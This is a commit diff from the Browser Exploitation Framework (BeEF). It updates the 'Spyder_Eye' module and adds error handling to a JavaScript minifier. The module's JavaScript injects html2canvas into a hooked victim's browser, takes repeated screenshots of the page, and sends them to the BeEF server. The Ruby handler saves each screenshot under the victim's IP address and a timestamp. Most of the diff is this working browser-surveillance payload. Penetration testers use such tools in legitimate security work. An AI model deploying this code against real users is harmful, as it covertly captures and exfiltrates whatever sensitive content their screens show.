Merge pull request #1258 from mgeeky/get_snapshot

Spyder_Eye got updated. #2
This commit is contained in:
Brendan Coles
2016-05-02 18:55:04 +10:00
4 changed files with 3428 additions and 2861 deletions

View File

@@ -15,9 +15,14 @@ module BeEF
end
def execute(input, config)
input = Uglifier.compile(input)
print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified"
input
begin
input2 = Uglifier.compile(input)
print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified"
input2
rescue
print_error "[OBFUSCATION - MINIFIER FAILED] Javascript couldn't be minified. Returning the input form."
input
end
end
end
end

View File

@@ -6,17 +6,40 @@
beef.execute(function() {
var script = document.createElement( 'script' );
script.type = 'text/javascript';
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/html2canvas.js';
$j("body").append( script );
var takes = parseInt('<%= @repeat %>', 10) || 1;
var delay = parseInt('<%= @delay %>', 10) || 0;
html2canvas(document.body, {
onrendered: function(canvas) {
var img = canvas.toDataURL("image/png");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+img);
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
snap = function() {
try {
html2canvas(document.body).then(function(canvas) {
var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
});
beef.debug('[Spyder_Eye] html2canvas hasn\'t failed, that\'s something');
}
catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
}
};
takeit = function() {
for(var i = 0; i < takes; i++) {
beef.debug('[Spyder_Eye] Taking ' + i + '. snapshot');
setTimeout(snap, delay * i);
}
});
};
if (typeof html2canvas == "undefined") {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';
$j("body").append(script);
setTimeout(takeit, 400);
}
else {
takeit();
}
});

File diff suppressed because it is too large Load Diff

View File

@@ -4,10 +4,16 @@
# See the file 'doc/COPYING' for copying permission
#
class Spyder_eye < BeEF::Core::Command
require 'base64'
def self.options
return [
{ 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' },
{ 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' },
]
end
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
end
def post_execute
@@ -17,7 +23,9 @@ class Spyder_eye < BeEF::Core::Command
# save screenshot file
begin
filename = "screenshot_#{Integer(@datastore['cid'])}.png"
timestamp = Time.now.localtime.strftime("%Y-%m-%d_%H-%M-%S")
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
filename = "screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
File.open(filename, 'wb') do |file|
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
file.write(Base64.decode64(data))
@@ -28,8 +36,6 @@ class Spyder_eye < BeEF::Core::Command
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
end
end